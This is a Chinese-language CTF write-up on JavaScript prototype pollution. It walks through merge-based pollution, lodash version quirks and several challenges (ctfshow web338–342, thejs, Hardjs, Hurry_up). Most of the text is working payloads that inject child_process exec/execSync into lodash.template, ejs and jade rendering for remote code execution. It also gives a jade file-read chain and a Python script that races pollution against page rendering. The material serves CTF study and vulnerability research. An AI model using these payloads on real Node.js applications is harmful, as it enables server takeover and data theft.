[toc]
prototype (原型)
在javascript,每一个实例对象都有一个prototype属性,prototype 属性可以向对象添加属性和方法。
例子:
1 object.prototype .name =value
在javascript,每一个实例对象都有一个__proto__
属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:
1 2 3 objectname["__proto__" ] objectname.__proto__ objectname.constructor .prototype
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 var o = {a : 1 };var a = ["yo" , "whadup" , "?" ];function f ( ){ return 2 ; }
所以,总结一下:
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法
一个对象的__proto__
属性,指向这个对象所在的类的prototype
属性
1 foo.__proto__ == Foo .prototype
原型链污染 在实际应用中,有些函数会修改对象的属性,从而导致原型链污染
对象merge
对象clone(其实内核就是将待操作的对象merge到一个空对象中)
以对象merge为例,我们想象一个简单的merge函数:
1 2 3 4 5 6 7 8 9 function merge (target, source ) { for (let key in source) { if (key in source && key in target) { merge (target[key], source[key]) } else { target[key] = source[key] } } }
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
,是不是就可以原型链污染呢?
测试一
1 2 3 4 5 6 7 8 let o1 = {}let o2 = {a : 1 , "__proto__" : {b : 2 }}merge (o1, o2)console .log (o1.a , o1.b ) o3 = {} console .log (o3.b )
用上述的代码测试可以发现虽然o1得到了b属性,但是原型链并没有被污染,因为o3并没有得到原型的b属性,
这是因为在执行let o2 = {a: 1, "__proto__": {b: 2}}
的过程中,”_proto _”没有被解析成键名,最终结果是把o2的原型变成了{b: 2}
,而此时o2原型的原型才是Object
而后在merge遍历时,只会遍历o2中的a和b,并不会遍历”_proto _”这个键,所以o1只会获得a和b两个属性,而Object原型并没有被污染,o3自然也不受影响
测试二
想让”_proto _”被解析成键名可以使用JSON.parse
1 2 3 4 5 6 7 let o1 = {}let o2 = JSON .parse ('{"a": 1, "__proto__": {"b": 2}}' )merge (o1, o2)console .log (o1.a , o1.b ) o3 = {} console .log (o3.b )
JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键,执行完后可以发现o2中有两个__proto__
第一个是键名为__proto__
的一个对象,而第二个__proto__
才是o2的原型,所以在merge的时候会改变o1的__proto__
,也就是Object原型
lodash不同版本差异 1:{"__proto__":{}}
2:{"constructor":{"prototype":{}}}
lodash不同版本可用的payload不同
版本
4.17.4
4.17.5
4.17.11
4.17.12
lodash.merge | lodash.mergewith
1、2
2
null
null
lodash.defaultsDeep
1、2
2
2
null
web338 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 function copy (object1, object2 ) { for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } } router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var secert = {}; var sess = req.session ; let user = {}; utils.copy (user,req.body ); if (secert.ctfshow === '36dboy' ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } });
secret和user都是Object对象,可以传入{"__proto__":{"ctfshow":"36dboy"}}
,来污染Object原型,使得secret获得继承的属性
web339 1 2 3 4 5 6 7 8 9 10 11 12 13 router.post ('/' , require ('body-parser' ).json (), function (req, res, next ) { res.type ('html' ); var flag = 'flag_here' ; var secert = {}; var sess = req.session ; let user = {}; utils.copy (user, req.body ); if (secert.ctfshow === flag) { res.end (flag); } else { return res.json ({ret_code : 2 , ret_msg : '登录失败' + JSON .stringify (user)}); } });
本题和上一题不一样的地方在于需要flag的值未知,无法通过污染来继承属性,但本题存在一个api路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); res.render ('api' , { query : Function (query)(query)}); }); module .exports = router;
query的值为Function(query)(query)
,在能控制query的情况下就可以执行任意函数,这里可以利用原型链污染给Object原型加上一个query,传入{"__proto__":{"query":"global.process.mainModule.constructor._load('child_process').exec('calc')"}}
接着请求/api触发res.render就可以触发恶意代码
web340 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 router.post ('/' , require ('body-parser' ).json (), function (req, res, next ) { res.type ('html' ); var flag = 'flag_here' ; var user = new function ( ) { this .userinfo = new function ( ) { this .isVIP = false ; this .isAdmin = false ; this .isAuthor = false ; }; } utils.copy (user.userinfo , req.body ); if (user.userinfo .isAdmin ) { res.end (flag); } else { return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } });
类似的题目不过这里copy的对象不一样了,由于此时的user.userinfo的原型是Function,而Function的原型才是Object,所以必须再向上一层才能污染Object
1 {"__proto__" :{"__proto__" :{"query" :"global.process.mainModule.constructor._load('child_process').exec('calc')" }}}
ez_merge 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 const isObject = obj => obj && obj.constructor && obj.constructor === Object ;const merge = (dest, src ) => { for (var attr in src) { if (isObject (dest[attr]) && isObject (src[attr])) { merge (dest[attr], src[attr]); } else { dest[attr] = src[attr]; } } return dest }; app.post ('/api/require' , function (req, res, next ) { try { require (req.body .requirethis .toString ()); delete require .cache [require .resolve (req.body .requirethis .toString ())]; res.send ('required' ) } catch (error) { res.send (error) } }) app.post ('/api/merge' , function (req, res, next ) { try { let merge1 = req.body .merge1 || "" ; let merge2 = req.body .merge2 || "" ; console .log (merge1); console .log (merge2); newmerge = merge (merge1, merge2); res.json (newmerge) } catch (error) { res.send (error) } })
本题的merge路由可以进行原型链污染,但是此处的利用比较奇妙,在require路由种可以控制require的参数,是否有一个模块,只要加载便可以rce呢?分析源码或网络搜索。可以发现/usr/local/lib/node_modules/npm/node_modules/editor/example/edit.js
中
1 2 3 4 5 var editor = require ('../' );editor (__dirname + '/beep.json' , function (code, sig ) { console .log ('finished editing with code ' + code); });
自动包含了其上一模块。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 var spawn = require ('child_process' ).spawn ;module .exports = function (file, opts, cb ) { if (typeof opts === 'function' ) { cb = opts; opts = {}; } if (!opts) opts = {}; var ed = /^win/ .test (process.platform ) ? 'notepad' : 'vim' ; var editor = opts.editor || process.env .VISUAL || process.env .EDITOR || ed; var args = editor.split (/\s+/ ); var bin = args.shift (); var ps = spawn (bin, args.concat ([ file ]), { stdio : 'inherit' }); ps.on ('exit' , function (code, sig ) { if (typeof cb === 'function' ) cb (code, sig) }); };
其中将opts.editor
作为命令执行。与原型链污染配合,可以rce。
配合 lodash.template Code-Breaking 2018 thejs 本题的server.js关键部分如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 app.engine ('ejs' , function (filePath, options, callback ) { fs.readFile (filePath, (err, content ) => { if (err) return callback (new Error (err)) let compiled = lodash.template (content) let rendered = compiled ({...options}) return callback (null , rendered) }) }) app.all ('/' , (req, res ) => { let data = req.session .data || {language : [], category : []} if (req.method == 'POST' ) { data = lodash.merge (data, req.body ) req.session .data = data } res.render ('index' , { language : data.language , category : data.category }) })
其中data = lodash.merge(data, req.body)
存在原型链污染,如图所示用正常功能传入language[]=python&category[]=pwn
,
可以看到执行lodash.merge
完毕后会改变data的属性,然后写入req.session.data
中
尝试一下污染Object的属性
发现可以污染
然后就得找污染的利用点,看看有没有代码执行的函数,本题的触发点存在于res.render
当中,此时使用的模板渲染函数是lodash.template
,我们可以动态调试看看lodash.template
的过程
1 2 3 4 5 6 7 8 9 app.engine ('ejs' , function (filePath, options, callback ) { fs.readFile (filePath, (err, content ) => { if (err) return callback (new Error (err)) let compiled = lodash.template (content) let rendered = compiled ({...options}) return callback (null , rendered) }) })
传入的参数为content,lodash.template
的返回值应该是一个函数,赋值给了compiled
content是读取的ejs文件内容,进入lodash.template
中传给了string
1 2 3 4 5 6 7 8 9 10 11 var sourceURL = '//# sourceURL=' + ('sourceURL' in options ? options.sourceURL : ('lodash.templateSources[' + (++templateCounter) + ']' ) ) + '\n' ; var result = attempt (function ( ) { return Function (importsKeys, sourceURL + 'return ' + source) .apply (undefined , importsValues); });
在给sourceURL赋值时会先检查options.sourceURL是否存在,如果存在就取options.sourceURL,否则就取后面的字符串,而在后续代码中sourceURL会进行简单拼接后作为Function的参数,如果我们能够污染Object就可以控制sourceURL参数导致任意代码执行,在没被污染的情况下如下
此时的模板渲染代码应该如下
1 2 3 4 5 6 7 8 code=" //# sourceURL=lodash.templateSources[0] return function(obj){ return __p }" let compiled = Function (code)let rendered = compiled ({...options})
Payload 1
1 { "__proto__" : { "sourceURL" : "x\nglobal.process.mainModule.constructor._load('child_process').exec('whoami')" } }
1 2 3 4 5 6 7 8 9 code=" //# sourceURL=x global.process.mainModule.constructor._load('child_process').exec('whoami') return function(obj){ return __p }" let compiled = Function (code)let rendered = compiled ({...options})
能进行命令执行,但无法控制回显,可以直接反弹shell
Payload 2
1 { "__proto__" : { "sourceURL" : "x\nreturn function(){return global.process.mainModule.constructor._load('child_process').execSync('whoami').toString()}" } }
1 2 3 4 5 6 7 8 9 10 11 code=" //# sourceURL=x return function(){ return global.process.mainModule.constructor._load('child_process').execSync('whoami').toString() } return function(obj){ return __p }" let compiled = Function (code)let rendered = compiled ({...options})
如果环境不出网,想要拿到回显就要改变Function()
的返回值,直接用匿名函数返回命令执行的结果
Payload 3
1 { "__proto__" : { "sourceURL" : "\u000areturn e => { for (var a in {}) { delete Object.prototype[a];}return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a//" } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 code=" //# sourceURL=x return e => { for (var a in {}) { delete Object.prototype[a]; } return global.process.mainModule.constructor._load('child_process').execSync('whoami') } return function(obj){ return __p }" let compiled = Function (code)let rendered = compiled ({...options})
p牛的payload,每次污染前先复原一下Object,一个环境可以多次执行
配合 ejs 模板引擎 先写一个小Demo
1 2 3 4 5 "dependencies" : { "ejs" : "3.1.6" , "express" : "4.18.1" , "lodash" : "4.17.4" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 const express = require ('express' );const bodyParser = require ('body-parser' );const lodash = require ('lodash' );const ejs = require ('ejs' );const app = express ();app .use (bodyParser.urlencoded ({extended : true })) .use (bodyParser.json ()); app.set ('views' , './' ); app.set ('view engine' , 'ejs' ); app.get ('/' , function (req, res ) { res.render ("index" ,{ message : 'whoami test' }); }); app.post ("/" , (req, res ) => { let data = {}; let input = req.body ; lodash.defaultsDeep (data, input); res.json ({message : "OK" }); }); let server = app.listen (8086 , '0.0.0.0' , function ( ) { console .log ('Listening on port %d' , server.address ().port ); });
1 2 3 4 5 6 7 8 9 10 11 12 13 //index.ejs <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <h1><%= message%></h1> </body> </html>
在模板渲染时会先进入res.render -> app.render -> tryRender,接着一步步进入view.js,此时可以看到engine已经被设置为了ejs
再进入ejs的模板处理 tryHandleCache -> handleCache -> compile(),在这里创建了一个新的Template对象,再调用了这个对象的compile方法,而ejs的漏洞就出现在这里
跟进Template.compile(),大致流程如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 Template .prototype = { compile : function ( ) { var src; var fn; var opts = this .opts ; var prepended = '' ; var appended = '' ; if (!this .source ) { this .generateSource (); prepended += ' var __output = "";\n' + ' function __append(s) { if (s !== undefined && s !== null) __output += s }\n' ; if (opts.outputFunctionName ) { prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n' ; } appended += ' return __output;' + '\n' ; this .source = prepended + this .source + appended; } src = some_func (source) if (opts.client ) { src = 'escapeFn = escapeFn || ' + escapeFn.toString () + ';' + '\n' + src; if (opts.compileDebug ) { src = 'rethrow = rethrow || ' + rethrow.toString () + ';' + '\n' + src; } } if (opts.strict ) { src = '"use strict";\n' + src; } if (opts.debug ) { console .log (src); } fn = new ctor (opts.localsName + ', escapeFn, include, rethrow' , src); var returnedFn = opts.client ? fn : function anonymous (data ) { }; return returnedFn; } }
RCE污染链 1 只要能够控制source就能控制compile的返回值,而opt在定义时是个空对象,所以可以通过原型链污染来控制opts.outputFunctionName,从而可以向source中注入js代码
Payload 1
1 { "__proto__" : { "outputFunctionName" : "_tmp1;global.process.mainModule.require('child_process').exec('whoami');var __tmp2" } }
直接加一句命令执行
Payload 2
1 { "__proto__" : { "outputFunctionName" : "x\nreturn global.process.mainModule.require('child_process').execSync('whoami')\nx" } }
用return拿到回显
RCE污染链 2 可以通过控制污染escapeFn属性来控制src,从而控制compile的返回值
Payload 1
1 { "__proto__" : { "client" : true , "escapeFunction" : "1; return global.process.mainModule.constructor._load('child_process').execSync('dir');" } }
Payload 2
1 { "__proto__" : { "client" : true , "escapeFunction" : "1\nreturn global.process.mainModule.constructor._load('child_process').execSync('whoami')" , "compileDebug" : true , "debug" : true } }
开启debug在本地可以看到执行的代码
web341 没有可以利用的危险函数,直接上ejs原型链污染
1 2 { "__proto__" : { "__proto__" : { "client" : true , "escapeFunction" : "1\nreturn global.process.mainModule.constructor._load('child_process').execSync('dir')\n" , "compileDebug" : true } } }
XNUCA 2019 Hardjs 在/add路由可以向数据库中插入数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 app.post ("/add" ,auth,async function (req,res,next ){ if (req.body .type && req.body .content ){ var newContent = {} var userid = req.session .userid ; newContent[req.body .type ] = [ req.body .content ] console .log ("newContent:" ,newContent); var sql = "insert into `html` (`userid`,`dom`) values (?,?) " ; var result = await query (sql,[userid, JSON .stringify (newContent) ]); if (result.affectedRows > 0 ){ res.json (newContent); }else { res.json ({}); } } });
而在/get路由中,如果记录超过五条,就会进行合并,这里存在原型链污染,lodash版本为4.17.11,题目所用的危险函数为lodash.defaultsDeep,只能用{"constructor":{"prototype":{}}}
来污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 app.get ("/get" ,auth,async function (req,res,next ){ var userid = req.session .userid ; var sql = "select count(*) count from `html` where userid= ?" var dataList = await query (sql,[userid]); if (dataList[0 ].count == 0 ){ res.json ({}) }else if (dataList[0 ].count > 5 ) { console .log ("Merge the recorder in the database." ); var sql = "select `id`,`dom` from `html` where userid=? " ; var raws = await query (sql,[userid]); var doms = {} var ret = new Array (); for (var i=0 ;i<raws.length ;i++){ lodash.defaultsDeep (doms,JSON .parse ( raws[i].dom )); var sql = "delete from `html` where id = ?" ; var result = await query (sql,raws[i].id ); } var sql = "insert into `html` (`userid`,`dom`) values (?,?) " ; var result = await query (sql,[userid, JSON .stringify (doms) ]); if (result.affectedRows > 0 ){ ret.push (doms); res.json (ret); }else { res.json ([{}]); } }else { console .log ("Return recorder is less than 5,so return it without merge." ); var sql = "select `dom` from `html` where userid=? " ; var raws = await query (sql,[userid]); var ret = new Array (); for ( var i =0 ;i< raws.length ; i++){ ret.push (JSON .parse ( raws[i].dom )); } console .log (ret); res.json (ret); } });
而本题的利用点在ejs模板引擎中,污染后直接访问/触发render即可rce
1 2 3 4 5 6 7 8 9 { "content" : { "constructor" : { "prototype" : { "outputFunctionName" : "_tmp1;global.process.mainModule.require('child_process').exec('id');var __tmp2" } } } , "type" : "test" }
MRCTF 2022 Hurry_up 本题的功能是可以通过/hide路由在存入一个键值对,并写入req.session.obj中,在/路由中可以通过键获取值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 router.get ('/' ,async (req, res) => { var path = req.query .path || "Welcome.2.MRCTF2022" ; var o = req.session .obj || {"Welcome" : {"2" : {"MRCTF2022" : "Just store your secret.No one knows." }}}; global ._handle = res.socket ._handle ; var value = getValue.get (path, o); if (typeof value === "object" ) { value = null ; } safeCheck () .then (()=> { return res.render ("../views/test.ejs" , {"path" : path, "value" : value}) }) .catch (()=> { return res.end () }) }) router.get ('/hide' ,(req,res )=> { var path = req.query .path ; var value = filter (req.query .value ); var o = req.session .obj ||{"Welcome" :{"2" :{"MRCTF2022" :"Just store your secret.No one knows." }}}; if (path && value){ getValue.set (path,value,o) } req.session .obj =o; return res.json (req.session .obj ) })
而本题在写入req.session.obj中时所用函数为getValue.set,存在原型链污染,据nama所说这里是用了redis的库,但是去掉了黑名单,可以造成原型链污染,同时本题所用模板引擎为ejs,可以利用污染达成rce
但是在app.js中存在这样一段处理
1 2 3 4 5 6 7 8 9 10 11 12 13 app.use (async (req, res, next) => { res.header ( "Content-Security-Policy" , "default-src 'self';" ); await new Promise (function (resolve ) { for (var key in Object .prototype ) { console .log (key); delete Object .prototype [key]; } resolve () }).then (next) });
每次访问路由响应之前都会清空一遍Object原型的键值,如果我们污染的原型在渲染前被清空了那就没有意义了
这时回头看/路由中有一段奇怪的函数,setTimeout(resolve, 100);会等待一段时间后执行,而此时我们的请求处于阻塞状态,服务端会继续处理别的请求,我们需要利用这段时间来进行条件竞争
1 2 3 4 5 exports .safeCheck = async function ( ) { return await new Promise (function (resolve ) { setTimeout (resolve, 100 ); }) }
给出脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsimport threadingurl = 'http://192.168.145.1:3000' mycookie = {'cp-session' : 's%3AbalEAslDZC5osalDso7lL36etnLfHqP5.hPx%2Bcj8iT4ZGp9iEpeJjjYfGRn2XDRODq2Qo%2F4%2FUq3U' } def pollute (cmd ): for i in range (20 ): payload = {'path' : '__proto__.outputFunctionName' , "value" : f"x\nreturn global.process.mainModule.require('child_process').execSync('{cmd} ')\nx" } r = requests.get(url + '/hide' , params=payload, cookies=mycookie) def render (): while True : r = requests.get(url + '/' , cookies=mycookie).text if len (r)>30 : print ('fail' ) else : print (r) break def rce (cmd ): t1 = threading.Thread(target=pollute, args=(cmd,)) t2 = threading.Thread(target=render) t1.start() t2.start() if __name__ == '__main__' : cmd = 'whoami' rce(cmd)
配合 jade/pug 模板引擎 写一个小demo
1 2 3 4 5 "dependencies" : { "express" : "4.18.1" , "jade" : "1.11.0" , "lodash" : "4.17.4" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 var express = require ('express' );var lodash= require ('lodash' );var jade = require ('jade' );const bodyParser = require ("express" );var app = express ();app.use (bodyParser.urlencoded ({extended : true })).use (bodyParser.json ()); app.set ('views' , __dirname); app.set ("view engine" , "jade" ); app.get ('/' , function (req, res ) { res.render ("index" ,{ message : 'whoami test' }); }); app.post ("/" , (req, res ) => { let data = {}; let input = req.body ; lodash.defaultsDeep (data, input); res.json ({message : "OK" }); }); var server = app.listen (8000 , function ( ) { var host = '192.168.145.1' var port = server.address ().port console .log ("应用实例,访问地址为 http://%s:%s" , host, port) });
1 2 3 4 // index.jade h1 #{message} p #{message}
在模板渲染时和ejs一样,res.render -> app.render -> tryRender,接着进入view.js,此时的引擎被设置为jade
RCE污染链 1 1 2 调用链: __express -> renderFile -> handleTemplateCache -> compile -> parse() -> compiler.compile() -> visit()
在visit()
中存在可以代码注入的地方,在遍历node时,有的节点的line属性为undefined,如果我们能污染Object的line属性,便可以控制其中某个node.line从而注入代码
1 2 3 4 5 6 7 8 9 10 visit : function (node ){ var debug = this .debug ; if (debug) { this .buf .push ('jade_debug.unshift(new jade.DebugItem( ' + node.line + ', ' + (node.filename ? utils.stringify (node.filename ) : 'jade_debug[0].filename' ) + ' ));' ); }
正常的node.line会拼接进去
拼接后如下图
如果碰到node.line=undefined
我们污染的line就会被拼接进来,之后buf会被返回
compile函数的返回值为js,然后继续执行后续处理,此处需要避免进入addWith中,否则会我们注入的代码会产生报错,这里污染self属性即可
1 2 3 4 5 6 7 8 9 var body = '' + 'var buf = [];\n' + 'var jade_mixins = {};\n' + 'var jade_interp;\n' + (options.self ? 'var self = locals || {};\n' + js : addWith ('locals || {}' , '\n' + js, globals)) + ';' + 'return buf.join("");' ; return {body : body, dependencies : parser.dependencies };
payload
1 2 3 { "__proto__" : { "self" : 1 , "line" : "))\nreturn global.process.mainModule.require('child_process').execSync('whoami').toString()//" } }
RCE污染链 2 在visit中跟进会发现中途会进入visitTag,而在visitTag中存在一个undefined变量
继续跟进visitCode函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 visitCode: function(code){ if (code.buffer) { var val = code.val.trim(); val = 'null == (jade_interp = '+val+') ? "" : jade_interp'; if (code.escape) val = 'jade.escape(' + val + ')'; this.bufferExpression(val); } else { this.buf.push(code.val); }
payload 1
当code.buffer不为空时会进入直接把var给push到buf里,从而污染js
1 { "__proto__" : { "self" : 1 , "code" : { "val" : "return global.process.mainModule.require('child_process').execSync('calc').toString();" } } }
payload 2
当buffer不为空时,闭合一下即可
1 { "__proto__" : { "self" : 1 , "code" : { "buffer" : 1 , "val" : "1)))\nreturn global.process.mainModule.require('child_process').execSync('calc').toString();//" } } }
任意文件读污染链 在visit函数中,当我们能控制line或者filename时,可以利用报错信息来读出任意文件的部分内容
1 2 3 4 5 6 7 8 9 10 visit : function (node ){ var debug = this .debug ; if (debug) { this .buf .push ('jade_debug.unshift(new jade.DebugItem( ' + node.line + ', ' + (node.filename ? utils.stringify (node.filename ) : 'jade_debug[0].filename' ) + ' ));' ); }
此时的匿名函数如下,其中的jade.rethrow会处理报错
当控制文件名时可以任意文件读,但lineno没法控制,只能读出前几行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 exports .rethrow = function rethrow (err, filename, lineno, str ){ if (!(err instanceof Error )) throw err; if ((typeof window != 'undefined' || !filename) && !str) { err.message += ' on line ' + lineno; throw err; } try { str = str || require ('fs' ).readFileSync (filename, 'utf8' ) } catch (ex) { rethrow (err, null , lineno) } var context = 3 , lines = str.split ('\n' ) , start = Math .max (lineno - context, 0 ) , end = Math .min (lines.length , lineno + context); var context = lines.slice (start, end).map (function (line, i ){ var curr = i + start + 1 ; return (curr == lineno ? ' > ' : ' ' ) + curr + '| ' + line; }).join ('\n' ); err.path = filename; err.message = (filename || 'Jade' ) + ':' + lineno + '\n' + context + '\n\n' + err.message ; throw err; }; exports .DebugItem = function DebugItem (lineno, filename ) { this .lineno = lineno; this .filename = filename; }
payload 1
1 { "__proto__" : { "self" : 1 , "line" : "1,\"./app.js\"))//" } }
payload 2
1 { "__proto__" : { "self" : 1 , "filename" : "./app.js" } }
web342 1 { "__proto__" : { "__proto__" : { "self" : 1 , "type" : "Doctype" , "line" : "))\nreturn global.process.mainModule.require('child_process').execSync('whoami').toString()//" } } }
Reference https://www.anquanke.com/post/id/248170#h2-10
深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)
https://www.anquanke.com/post/id/246492#h2-1